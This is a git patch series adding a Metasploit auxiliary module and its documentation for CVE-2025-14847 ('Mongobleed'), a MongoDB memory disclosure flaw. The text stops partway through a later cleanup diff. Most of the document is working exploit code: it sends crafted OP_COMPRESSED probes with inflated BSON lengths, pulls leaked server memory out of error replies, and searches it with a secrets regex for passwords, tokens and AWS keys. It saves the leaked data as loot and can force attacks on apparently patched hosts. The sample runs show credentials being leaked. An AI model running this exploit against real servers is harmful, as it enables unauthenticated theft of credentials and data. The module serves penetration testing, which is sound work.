From 44b2adafa7dd3f06629ee6fda7033c83a923c8ca Mon Sep 17 00:00:00 2001 From: Alex Date: Tue, 30 Dec 2025 13:04:25 +0100 Subject: [PATCH 1/4] Add MongoDB memory disclosure module (CVE-2025-14847) --- .../mongodb/cve_2025_14847_mongobleed.md | 168 +++++ .../mongodb/cve_2025_14847_mongobleed.rb | 654 ++++++++++++++++++ 2 files changed, 822 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.md create mode 100644 modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb diff --git a/documentation/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.md b/documentation/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.md new file mode 100644 index 0000000000000..dfcd4833fd881 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.md @@ -0,0 +1,168 @@ +## Vulnerable Application + +This module exploits CVE-2025-14847, a memory disclosure vulnerability in MongoDB's zlib decompression handling, commonly referred to as "Mongobleed." + +By sending crafted `OP_COMPRESSED` messages with inflated BSON document lengths, the server allocates a buffer based on the claimed uncompressed size but only fills it with the actual decompressed data. When MongoDB parses the BSON document, it reads beyond the decompressed buffer into uninitialized memory, returning leaked memory contents in error messages. + +The vulnerability allows unauthenticated remote attackers to leak server memory which may contain sensitive information such as: +- Database credentials +- Session tokens +- Encryption keys +- Connection strings +- Application data + +### Vulnerable Versions + +Per [MongoDB JIRA SERVER-115508](https://jira.mongodb.org/browse/SERVER-115508): + +- MongoDB 3.6.x (all versions - EOL, no fix available) +- MongoDB 4.0.x (all versions - EOL, no fix available) +- MongoDB 4.2.x (all versions - EOL, no fix available) +- MongoDB 4.4.0 through 4.4.29 +- MongoDB 5.0.0 through 5.0.31 +- MongoDB 6.0.0 through 6.0.26 +- MongoDB 7.0.0 through 7.0.27 +- MongoDB 8.0.0 through 8.0.16 +- MongoDB 8.2.0 through 8.2.2 + +### Fixed Versions + +- MongoDB 4.4.30 +- MongoDB 5.0.32 +- MongoDB 6.0.27 +- MongoDB 7.0.28 +- MongoDB 8.0.17 +- MongoDB 8.2.3 + +## Verification Steps + +1. Install a vulnerable MongoDB version (e.g., MongoDB 7.0.15) +2. Start the MongoDB service +3. Start msfconsole +4. `use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed` +5. `set RHOSTS ` +6. `run` +7. Verify that memory contents are leaked and saved to loot + +## Options + +### MIN_OFFSET +Minimum BSON document length offset to test. Default: `20` + +### MAX_OFFSET +Maximum BSON document length offset to test. Higher values scan more memory but take longer. Default: `8192` + +### STEP_SIZE +Offset increment between probes. Higher values are faster but less thorough. Default: `1` + +### BUFFER_PADDING +Padding added to the claimed uncompressed buffer size. Default: `500` + +### LEAK_THRESHOLD +Minimum bytes to report as an interesting leak in the output. Default: `10` + +### QUICK_SCAN +Enable quick scan mode which samples key offsets (power-of-2 boundaries, etc.) instead of scanning every offset. Much faster but may miss some leaks. Default: `false` + +### REPEAT +Number of scan passes to perform. Memory contents change over time, so multiple passes can capture more data. Default: `1` + +## Advanced Options + +### SHOW_ALL_LEAKS +Show all leaked fragments regardless of size. Default: `false` + +### SHOW_HEX +Display hexdump of leaked data. Default: `false` + +### SECRETS_PATTERN +Regex pattern to detect sensitive data in leaked memory. Default: `password|secret|key|token|admin|AKIA|Bearer|mongodb://|mongo:|conn|auth` + +### FORCE_EXPLOIT +Attempt exploitation even if the version check indicates the target is patched. Default: `false` + +### PROGRESS_INTERVAL +Show progress every N offsets. Set to 0 to disable. Default: `500` + +## Scenarios + +### MongoDB 7.0.14 on Linux + +``` +msf6 > use auxiliary/scanner/mongodb/cve_2025_14847_mongobleed +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100 +RHOSTS => 192.168.1.100 +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run + +[*] 192.168.1.100:27017 - MongoDB version: 7.0.14 +[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847 +[*] 192.168.1.100:27017 - Scanning 8173 offsets (20-8192, step=1) +[+] 192.168.1.100:27017 - offset=20 len=82 : [conn38248] end connection 10.0.0.5:36845 (0 connections now open) +[+] 192.168.1.100:27017 - offset=163 len=617 : driver: { name: "mongoc / ext-mongodb:PHP ", version: "1.24.3" } +[+] 192.168.1.100:27017 - offset=501 len=40 : id bson type in element with field name +[*] 192.168.1.100:27017 - Progress: 500/8173 (6.1%) - 7 leaks found - ETA: 49s +[+] 192.168.1.100:27017 - offset=757 len=12 : password=abc +[!] 192.168.1.100:27017 - Secret pattern detected at offset 757: 'password' in context: ...config: { password=abc123&user=admin... +[*] 192.168.1.100:27017 - Progress: 1000/8173 (12.2%) - 11 leaks found - ETA: 42s +... + +[+] 192.168.1.100:27017 - Total leaked: 1703 bytes +[+] 192.168.1.100:27017 - Unique fragments: 13 +[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin + +[!] 192.168.1.100:27017 - Potential secrets detected: +[!] 192.168.1.100:27017 - - Pattern 'password' at offset 757 (pos 12): ...config: { password=abc123&user=admin... +[*] 192.168.1.100:27017 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Multi-Pass Scan for Maximum Data Collection + +``` +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100 +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set REPEAT 3 +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set MAX_OFFSET 16384 +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run + +[*] 192.168.1.100:27017 - MongoDB version: 7.0.14 +[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847 +[*] 192.168.1.100:27017 - Running 3 scan passes to maximize data collection... +[*] 192.168.1.100:27017 - === Pass 1/3 === +[*] 192.168.1.100:27017 - Scanning 16365 offsets (20-16384, step=1) +... +[*] 192.168.1.100:27017 - Pass 1 complete: 23 new leaks (23 total unique) +[*] 192.168.1.100:27017 - === Pass 2/3 === +... +[*] 192.168.1.100:27017 - Pass 2 complete: 15 new leaks (38 total unique) +[*] 192.168.1.100:27017 - === Pass 3/3 === +... +[*] 192.168.1.100:27017 - Pass 3 complete: 8 new leaks (46 total unique) + +[+] 192.168.1.100:27017 - Total leaked: 4521 bytes +[+] 192.168.1.100:27017 - Unique fragments: 46 +[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin +``` + +### Quick Scan Mode + +``` +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set RHOSTS 192.168.1.100 +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > set QUICK_SCAN true +msf6 auxiliary(scanner/mongodb/cve_2025_14847_mongobleed) > run + +[*] 192.168.1.100:27017 - MongoDB version: 7.0.14 +[+] 192.168.1.100:27017 - Version 7.0.14 is VULNERABLE to CVE-2025-14847 +[*] 192.168.1.100:27017 - Scanning 97 offsets (20-8192, step=1, quick mode) +[+] 192.168.1.100:27017 - offset=20 len=45 : connection string fragment... +[+] 192.168.1.100:27017 - offset=128 len=23 : mongodb://admin:pass... + +[+] 192.168.1.100:27017 - Total leaked: 234 bytes +[+] 192.168.1.100:27017 - Unique fragments: 5 +[+] 192.168.1.100:27017 - Leaked data saved to: /root/.msf4/loot/20251230_mongobleed.bin +``` + +## References + +- https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb +- https://jira.mongodb.org/browse/SERVER-115508 +- https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/ diff --git a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb new file mode 100644 index 0000000000000..62ae96f426f40 --- /dev/null +++ b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb @@ -0,0 +1,654 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed', + 'Description' => %q{ + This module exploits a memory disclosure vulnerability in MongoDB's zlib + decompression handling (CVE-2025-14847). By sending crafted OP_COMPRESSED + messages with inflated BSON document lengths, the server reads beyond the + decompressed buffer and returns leaked memory contents in error messages. + + The vulnerability allows unauthenticated remote attackers to leak server + memory which may contain sensitive information such as credentials, session + tokens, encryption keys, or other application data. + }, + 'Author' => [ + 'Alexander Hagenah', # Metasploit module (x.com/xaitax) + 'Diego Ledda', # Co-author & review (x.com/jbx81) + 'Joe Desimone' # Original discovery and PoC (x.com/dez_) + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-14847'], + ['URL', 'https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb'], + ['URL', 'https://jira.mongodb.org/browse/SERVER-115508'], + ['URL', 'https://x.com/dez_'] + ], + 'DisclosureDate' => '2025-12-19', + 'DefaultOptions' => { + 'RPORT' => 27017 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + Opt::RPORT(27017), + OptInt.new('MIN_OFFSET', [true, 'Minimum BSON document length offset', 20]), + OptInt.new('MAX_OFFSET', [true, 'Maximum BSON document length offset', 8192]), + OptInt.new('STEP_SIZE', [true, 'Offset increment (higher = faster, less thorough)', 1]), + OptInt.new('BUFFER_PADDING', [true, 'Padding added to buffer size claim', 500]), + OptInt.new('LEAK_THRESHOLD', [true, 'Minimum bytes to report as interesting leak', 10]), + OptBool.new('QUICK_SCAN', [true, 'Quick scan mode - sample key offsets only', false]), + OptInt.new('REPEAT', [true, 'Number of scan passes (more passes = more data)', 1]) + ] + ) + + register_advanced_options( + [ + OptBool.new('SHOW_ALL_LEAKS', [true, 'Show all leaked fragments, not just large ones', false]), + OptBool.new('SHOW_HEX', [true, 'Show hexdump of leaked data', false]), + OptString.new('SECRETS_PATTERN', [true, 'Regex pattern to detect sensitive data', 'password|secret|key|token|admin|AKIA|Bearer|mongodb://|mongo:|conn|auth']), + OptBool.new('FORCE_EXPLOIT', [true, 'Attempt exploitation even if version check indicates not vulnerable', false]), + OptInt.new('PROGRESS_INTERVAL', [true, 'Show progress every N offsets (0 to disable)', 500]) + ] + ) + end + + # MongoDB Wire Protocol constants + OP_QUERY = 2004 # Legacy query opcode + OP_REPLY = 1 # Legacy reply opcode + OP_COMPRESSED = 2012 + OP_MSG = 2013 + COMPRESSOR_ZLIB = 2 + + # Vulnerable version ranges for CVE-2025-14847 (per MongoDB JIRA SERVER-115508) + # Format: [major.minor] => max_vulnerable_patch + # All patch versions <= max_vulnerable_patch are vulnerable + VULNERABLE_VERSIONS = { + '3.6' => 99, # 3.6.x - all versions vulnerable (EOL, no fix) + '4.0' => 99, # 4.0.x - all versions vulnerable (EOL, no fix) + '4.2' => 99, # 4.2.x - all versions vulnerable (EOL, no fix) + '4.4' => 29, # 4.4.0 - 4.4.29 vulnerable, 4.4.30 fixed + '5.0' => 31, # 5.0.0 - 5.0.31 vulnerable, 5.0.32 fixed + '6.0' => 26, # 6.0.0 - 6.0.26 vulnerable, 6.0.27 fixed + '7.0' => 27, # 7.0.0 - 7.0.27 vulnerable, 7.0.28 fixed + '8.0' => 16, # 8.0.0 - 8.0.16 vulnerable, 8.0.17 fixed + '8.2' => 2 # 8.2.0 - 8.2.2 vulnerable, 8.2.3 fixed + }.freeze + + def check_vulnerable_version(version_str) + # Parse version for comparison + version_match = version_str.match(/^(\d+\.\d+\.\d+)/) + return :unknown unless version_match + + mongodb_version = Rex::Version.new(version_match[1]) + + # Check against vulnerable version ranges per MongoDB JIRA SERVER-115508 + if mongodb_version.between?(Rex::Version.new('3.6.0'), Rex::Version.new('3.6.99')) || + mongodb_version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('4.0.99')) || + mongodb_version.between?(Rex::Version.new('4.2.0'), Rex::Version.new('4.2.99')) + return :vulnerable_eol + elsif mongodb_version.between?(Rex::Version.new('4.4.0'), Rex::Version.new('4.4.29')) || + mongodb_version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.31')) || + mongodb_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.0.26')) || + mongodb_version.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.27')) || + mongodb_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.16')) || + mongodb_version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.2')) + return :vulnerable + elsif (mongodb_version >= Rex::Version.new('4.4.30') && mongodb_version < Rex::Version.new('5.0.0')) || + (mongodb_version >= Rex::Version.new('5.0.32') && mongodb_version < Rex::Version.new('6.0.0')) || + (mongodb_version >= Rex::Version.new('6.0.27') && mongodb_version < Rex::Version.new('7.0.0')) || + (mongodb_version >= Rex::Version.new('7.0.28') && mongodb_version < Rex::Version.new('8.0.0')) || + (mongodb_version >= Rex::Version.new('8.0.17') && mongodb_version < Rex::Version.new('8.2.0')) || + (mongodb_version >= Rex::Version.new('8.2.3')) + return :patched + end + + :unknown + end + + def run_host(ip) + # Version detection and vulnerability check + version_info = get_mongodb_version + + if version_info + version_str = version_info[:version] + print_status("MongoDB version: #{version_str}") + + vuln_status = check_vulnerable_version(version_str) + case vuln_status + when :vulnerable_eol + print_good("Version #{version_str} is VULNERABLE (EOL, no fix available)") + when :vulnerable + print_good("Version #{version_str} is VULNERABLE to CVE-2025-14847") + when :patched + print_warning("Version #{version_str} appears to be PATCHED") + unless datastore['FORCE_EXPLOIT'] + print_status('Set FORCE_EXPLOIT=true to attempt exploitation anyway') + return + end + print_status('FORCE_EXPLOIT enabled, continuing...') + when :unknown + print_warning("Version #{version_str} - vulnerability status unknown") + print_status('Proceeding with exploitation attempt...') + end + else + print_warning('Could not determine MongoDB version') + print_status('Proceeding with exploitation attempt...') + end + + # Perform the memory leak exploitation + exploit_memory_leak(ip, version_info) + end + + def get_mongodb_version + begin + connect + + # Build buildInfo command using legacy OP_QUERY + # This works without authentication on most MongoDB configurations + response = send_command('admin', { 'buildInfo' => 1 }) + disconnect + + return nil if response.nil? + + # Parse BSON response to extract version + parse_build_info(response) + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + vprint_error("Connection error during version check: #{e.message}") + nil + rescue StandardError => e + vprint_error("Error getting MongoDB version: #{e.message}") + nil + ensure + disconnect rescue nil + end + end + + def send_command(database, command) + # Build BSON document for command + bson_doc = build_bson_document(command) + + # Build OP_QUERY packet + # flags (4 bytes) + fullCollectionName + numberToSkip (4) + numberToReturn (4) + query + collection_name = "#{database}.$cmd\x00" + + query_body = [0].pack('V') # flags + query_body << collection_name # fullCollectionName (null-terminated) + query_body << [0].pack('V') # numberToSkip + query_body << [1].pack('V') # numberToReturn + query_body << bson_doc # query document + + # Build header + request_id = rand(0xFFFFFFFF) + message_length = 16 + query_body.length + header = [message_length, request_id, 0, OP_QUERY].pack('VVVV') + + # Send and receive + sock.put(header + query_body) + + # Read response + response_header = sock.get_once(16, 5) + return nil if response_header.nil? || response_header.length < 16 + + msg_len, _req_id, _resp_to, opcode = response_header.unpack('VVVV') + return nil unless opcode == OP_REPLY + + # Read rest of response + remaining = msg_len - 16 + return nil if remaining <= 0 + + response_body = sock.get_once(remaining, 5) + return nil if response_body.nil? + + # OP_REPLY structure: + # responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents + return nil if response_body.length < 20 + + response_body[20..-1] # Return documents portion + end + + def build_bson_document(hash) + doc = ''.b + + hash.each do |key, value| + case value + when Integer + if value.between?(-2_147_483_648, 2_147_483_647) + doc << "\x10" # int32 type + doc << "#{key}\x00" # key (cstring) + doc << [value].pack('V') # value + else + doc << "\x12" # int64 type + doc << "#{key}\x00" + doc << [value].pack('q<') + end + when Float + doc << "\x01" # double type + doc << "#{key}\x00" + doc << [value].pack('E') + when String + doc << "\x02" # string type + doc << "#{key}\x00" + doc << [value.length + 1].pack('V') # string length (including null) + doc << "#{value}\x00" + when TrueClass, FalseClass + doc << "\x08" # boolean type + doc << "#{key}\x00" + doc << (value ? "\x01" : "\x00") + end + end + + doc << "\x00" # Document terminator + [doc.length + 4].pack('V') + doc # Prepend document length + end + + def parse_build_info(bson_data) + return nil if bson_data.nil? || bson_data.length < 5 + + result = {} + + # Parse BSON document + doc_len = bson_data[0, 4].unpack1('V') + return nil if doc_len > bson_data.length + + pos = 4 + while pos < doc_len - 1 + type = bson_data[pos].ord + break if type == 0 + + pos += 1 + + # Read key (cstring) + key_end = bson_data.index("\x00", pos) + break if key_end.nil? + + key = bson_data[pos...key_end] + pos = key_end + 1 + + case type + when 0x02 # String + str_len = bson_data[pos, 4].unpack1('V') + value = bson_data[pos + 4, str_len - 1] + pos += 4 + str_len + + case key + when 'version' + result[:version] = value + when 'gitVersion' + result[:git_version] = value + when 'sysInfo' + result[:sys_info] = value + end + when 0x03 # Embedded document + sub_doc_len = bson_data[pos, 4].unpack1('V') + if key == 'buildEnvironment' + # Could parse this for more details + end + pos += sub_doc_len + when 0x10 # int32 + pos += 4 + when 0x12 # int64 + pos += 8 + when 0x01 # double + pos += 8 + when 0x08 # boolean + pos += 1 + when 0x04 # array + arr_len = bson_data[pos, 4].unpack1('V') + pos += arr_len + else + # Unknown type, try to continue + break + end + end + + # Try alternate method if version not found (using hello/isMaster) + result[:version] ||= try_hello_command + + result[:version] ? result : nil + end + + def try_hello_command + begin + response = send_command('admin', { 'hello' => 1 }) + return nil if response.nil? + + # Look for version string in response + if response =~ /(\d+\.\d+\.\d+)/ + return ::Regexp.last_match(1) + end + rescue StandardError + nil + end + nil + end + + def exploit_memory_leak(ip, version_info) + all_leaked = ''.b + unique_leaks = Set.new + secrets_found = [] + + # Determine offsets to scan + offsets = generate_scan_offsets + total_offsets = offsets.size + repeat_count = datastore['REPEAT'] + + if repeat_count > 1 + print_status("Running #{repeat_count} scan passes to maximize data collection...") + end + + # Track overall progress + progress_interval = datastore['PROGRESS_INTERVAL'] + overall_start = Time.now + + 1.upto(repeat_count) do |pass| + if repeat_count > 1 + print_status("=== Pass #{pass}/#{repeat_count} ===") + end + + print_status("Scanning #{total_offsets} offsets (#{datastore['MIN_OFFSET']}-#{datastore['MAX_OFFSET']}, step=#{datastore['STEP_SIZE']}#{datastore['QUICK_SCAN'] ? ', quick mode' : ''})") + + start_time = Time.now + scanned = 0 + pass_leaks = 0 + + offsets.each do |doc_len| + begin + # Progress reporting + scanned += 1 + if progress_interval > 0 && (scanned % progress_interval == 0) + elapsed = Time.now - start_time + rate = scanned / elapsed + remaining = ((total_offsets - scanned) / rate).round + print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s") + end + + response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING']) + next if response.nil? || response.empty? + + leaks = extract_leaks(response) + leaks.each do |data| + next if unique_leaks.include?(data) + + unique_leaks.add(data) + all_leaked << data + pass_leaks += 1 + + # Check for interesting patterns + check_secrets(data, doc_len, secrets_found) + + # Report large leaks or all if configured + if data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS'] + preview = data.gsub(/[^[:print:]]/, '.')[0, 80] + print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}") + + # Show hex dump if enabled + if datastore['SHOW_HEX'] && data.length > 0 + print_hexdump(data) + end + end + end + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + vprint_error("Connection error at offset #{doc_len}: #{e.message}") + next + rescue ::Timeout::Error + vprint_error("Timeout at offset #{doc_len}") + next + end + end + + # Pass summary + if repeat_count > 1 + print_status("Pass #{pass} complete: #{pass_leaks} new leaks (#{unique_leaks.size} total unique)") + end + end + + # Overall summary and loot storage + if all_leaked.length > 0 + print_line + print_good("Total leaked: #{all_leaked.length} bytes") + print_good("Unique fragments: #{unique_leaks.size}") + + # Store leaked data as loot + loot_info = 'MongoDB Memory Disclosure (CVE-2025-14847)' + loot_info += " - Version: #{version_info[:version]}" if version_info&.dig(:version) + + path = store_loot( + 'mongodb.memory_leak', + 'application/octet-stream', + ip, + all_leaked, + 'mongobleed.bin', + loot_info + ) + print_good("Leaked data saved to: #{path}") + + # Report found secrets + if secrets_found.any? + print_line + print_warning('Potential secrets detected:') + secrets_found.uniq.each do |secret| + print_warning(" - #{secret}") + end + end + + # Report the vulnerability + vuln_info = "Leaked #{all_leaked.length} bytes of server memory" + vuln_info += " (MongoDB #{version_info[:version]})" if version_info&.dig(:version) + + report_vuln( + host: ip, + port: rport, + proto: 'tcp', + name: name, + refs: references, + info: vuln_info + ) + else + print_status("No data leaked from #{ip}:#{rport}") + end + end + + def send_probe(doc_len, buffer_size) + # Build minimal BSON content - we lie about total length to trigger the bug + # int32 field "a" with value 1 + bson_content = "\x10a\x00\x01\x00\x00\x00".b + + # BSON document with inflated length (this is the key to the exploit) + bson = [doc_len].pack('V') + bson_content + + # Wrap in OP_MSG structure + # flags (4 bytes) + section kind (1 byte) + BSON + op_msg = [0].pack('V') + "\x00".b + bson + + # Compress the OP_MSG payload + compressed_data = Zlib::Deflate.deflate(op_msg) + + # Build OP_COMPRESSED payload + # originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData + payload = [OP_MSG].pack('V') + payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated) + payload << [COMPRESSOR_ZLIB].pack('C') + payload << compressed_data + + # MongoDB wire protocol header + # messageLength (4 bytes) + requestID (4 bytes) + responseTo (4 bytes) + opCode (4 bytes) + message_length = 16 + payload.length + header = [message_length, 1, 0, OP_COMPRESSED].pack('VVVV') + + # Send and receive with proper cleanup + response = nil + begin + connect + sock.put(header + payload) + response = recv_mongo_response + ensure + disconnect rescue nil + end + + response + end + + def recv_mongo_response + # Read header first (16 bytes minimum) + header = sock.get_once(16, 2) + return nil if header.nil? || header.length < 4 + + msg_len = header.unpack1('V') + return header if msg_len <= 16 + + # Read remaining data + remaining = msg_len - header.length + if remaining > 0 + data = sock.get_once(remaining, 2) + return header if data.nil? + + header + data + else + header + end + rescue ::Timeout::Error, ::EOFError + nil + end + + def extract_leaks(response) + return [] if response.nil? || response.length < 25 + + leaks = [] + + begin + msg_len = response.unpack1('V') + return [] if msg_len > response.length + + # Check if response is compressed (opcode at offset 12) + opcode = response[12, 4].unpack1('V') + + if opcode == OP_COMPRESSED + # Decompress: skip header (16) + originalOpcode (4) + uncompressedSize (4) + compressorId (1) = 25 bytes + raw = Zlib::Inflate.inflate(response[25, msg_len - 25]) + else + # Uncompressed OP_MSG - skip header + raw = response[16, msg_len - 16] + end + + return [] if raw.nil? + + # Extract field names from BSON parsing errors + # These contain memory leaked as "field names" + raw.scan(/field name '([^']*)'/) do |match| + data = match[0] + # Filter out known legitimate field names + next if data.nil? || data.empty? + next if ['?', 'a', '$db', 'ping', 'ok', 'errmsg', 'code', 'codeName'].include?(data) + + leaks << data + end + + # Extract type bytes from unrecognized BSON type errors + raw.scan(/(?:unrecognized|unknown|invalid)\s+(?:BSON\s+)?type[:\s]+(\d+)/i) do |match| + type_byte = match[0].to_i & 0xFF + leaks << type_byte.chr if type_byte > 0 + end + + rescue Zlib::Error => e + vprint_error("Decompression error: #{e.message}") + rescue StandardError => e + vprint_error("Error extracting leaks: #{e.message}") + end + + leaks + end + + def check_secrets(data, offset, secrets_found) + pattern = Regexp.new(datastore['SECRETS_PATTERN'], Regexp::IGNORECASE) + return unless data =~ pattern + + match = ::Regexp.last_match[0] + match_pos = ::Regexp.last_match.begin(0) + + # Extract context around the match (20 chars before and after) + context_start = [match_pos - 20, 0].max + context_end = [match_pos + match.length + 20, data.length].min + context = data[context_start...context_end].gsub(/[^[:print:]]/, '.') + + # Highlight position in context + secret_info = "Pattern '#{match}' at offset #{offset}" + secret_info += " (pos #{match_pos}): ...#{context}..." + + secrets_found << secret_info + print_warning("Secret pattern detected at offset #{offset}: '#{match}' in context: ...#{context}...") + end + + def generate_scan_offsets + min_off = datastore['MIN_OFFSET'] + max_off = datastore['MAX_OFFSET'] + step = datastore['STEP_SIZE'] + + if datastore['QUICK_SCAN'] + # Quick scan mode: sample key offsets that typically yield results + # Based on common BSON document sizes and memory alignment + quick_offsets = [] + + # Small offsets (header area) + quick_offsets += (20..100).step(5).to_a + + # Power of 2 boundaries (common allocation sizes) + [128, 256, 512, 1024, 2048, 4096, 8192].each do |boundary| + next if boundary < min_off || boundary > max_off + + # Sample around boundaries + (-10..10).step(2).each do |delta| + off = boundary + delta + quick_offsets << off if off >= min_off && off <= max_off + end + end + + # Sample every 128 bytes for broader coverage + quick_offsets += (min_off..max_off).step(128).to_a + + quick_offsets.uniq.sort.select { |o| o >= min_off && o <= max_off } + else + # Normal scan with step size + (min_off..max_off).step(step).to_a + end + end + + def print_hexdump(data) + return if data.nil? || data.empty? + + # Print hexdump in classic format (16 bytes per line) + offset = 0 + data.bytes.each_slice(16) do |chunk| + hex_part = chunk.map { |b| '%02x' % b }.join(' ') + ascii_part = chunk.map { |b| (b >= 32 && b < 127) ? b.chr : '.' }.join + + # Pad hex part if less than 16 bytes + hex_part = hex_part.ljust(47) + + print_line(" #{('%04x' % offset)} #{hex_part} |#{ascii_part}|") + offset += 16 + + # Limit output to avoid flooding console + break if offset >= 256 + end + print_line(' ...') if data.length > 256 + end +end From 70798665aa23311eaa39795082e6c1c7840ceba9 Mon Sep 17 00:00:00 2001 From: Alex Date: Tue, 30 Dec 2025 13:49:57 +0100 Subject: [PATCH 2/4] Update cve_2025_14847_mongobleed.rb --- .../mongodb/cve_2025_14847_mongobleed.rb | 121 +++++++++--------- 1 file changed, 62 insertions(+), 59 deletions(-) diff --git a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb index 62ae96f426f40..1153134fa5a8d 100644 --- a/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb +++ b/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'Author' => [ 'Alexander Hagenah', # Metasploit module (x.com/xaitax) 'Diego Ledda', # Co-author & review (x.com/jbx81) - 'Joe Desimone' # Original discovery and PoC (x.com/dez_) + 'Joe Desimone' # Original discovery and PoC (x.com/dez_) ], 'License' => MSF_LICENSE, 'References' => [ @@ -159,26 +159,28 @@ def run_host(ip) end def get_mongodb_version - begin - connect + connect - # Build buildInfo command using legacy OP_QUERY - # This works without authentication on most MongoDB configurations - response = send_command('admin', { 'buildInfo' => 1 }) - disconnect + # Build buildInfo command using legacy OP_QUERY + # This works without authentication on most MongoDB configurations + response = send_command('admin', { 'buildInfo' => 1 }) + disconnect - return nil if response.nil? + return nil if response.nil? - # Parse BSON response to extract version - parse_build_info(response) - rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e - vprint_error("Connection error during version check: #{e.message}") - nil - rescue StandardError => e - vprint_error("Error getting MongoDB version: #{e.message}") + # Parse BSON response to extract version + parse_build_info(response) + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + vprint_error("Connection error during version check: #{e.message}") + nil + rescue StandardError => e + vprint_error("Error getting MongoDB version: #{e.message}") + nil + ensure + begin + disconnect + rescue StandardError nil - ensure - disconnect rescue nil end end @@ -222,7 +224,7 @@ def send_command(database, command) # responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents return nil if response_body.length < 20 - response_body[20..-1] # Return documents portion + response_body[20..] # Return documents portion end def build_bson_document(hash) @@ -256,8 +258,8 @@ def build_bson_document(hash) end end - doc << "\x00" # Document terminator - [doc.length + 4].pack('V') + doc # Prepend document length + doc << "\x00" # Document terminator + [doc.length + 4].pack('V') + doc # Prepend document length end def parse_build_info(bson_data) @@ -357,7 +359,7 @@ def exploit_memory_leak(ip, version_info) # Track overall progress progress_interval = datastore['PROGRESS_INTERVAL'] - overall_start = Time.now + Time.now 1.upto(repeat_count) do |pass| if repeat_count > 1 @@ -371,48 +373,46 @@ def exploit_memory_leak(ip, version_info) pass_leaks = 0 offsets.each do |doc_len| - begin - # Progress reporting - scanned += 1 - if progress_interval > 0 && (scanned % progress_interval == 0) - elapsed = Time.now - start_time - rate = scanned / elapsed - remaining = ((total_offsets - scanned) / rate).round - print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s") - end + # Progress reporting + scanned += 1 + if progress_interval > 0 && (scanned % progress_interval == 0) + elapsed = Time.now - start_time + rate = scanned / elapsed + remaining = ((total_offsets - scanned) / rate).round + print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s") + end + + response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING']) + next if response.nil? || response.empty? - response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING']) - next if response.nil? || response.empty? + leaks = extract_leaks(response) + leaks.each do |data| + next if unique_leaks.include?(data) - leaks = extract_leaks(response) - leaks.each do |data| - next if unique_leaks.include?(data) + 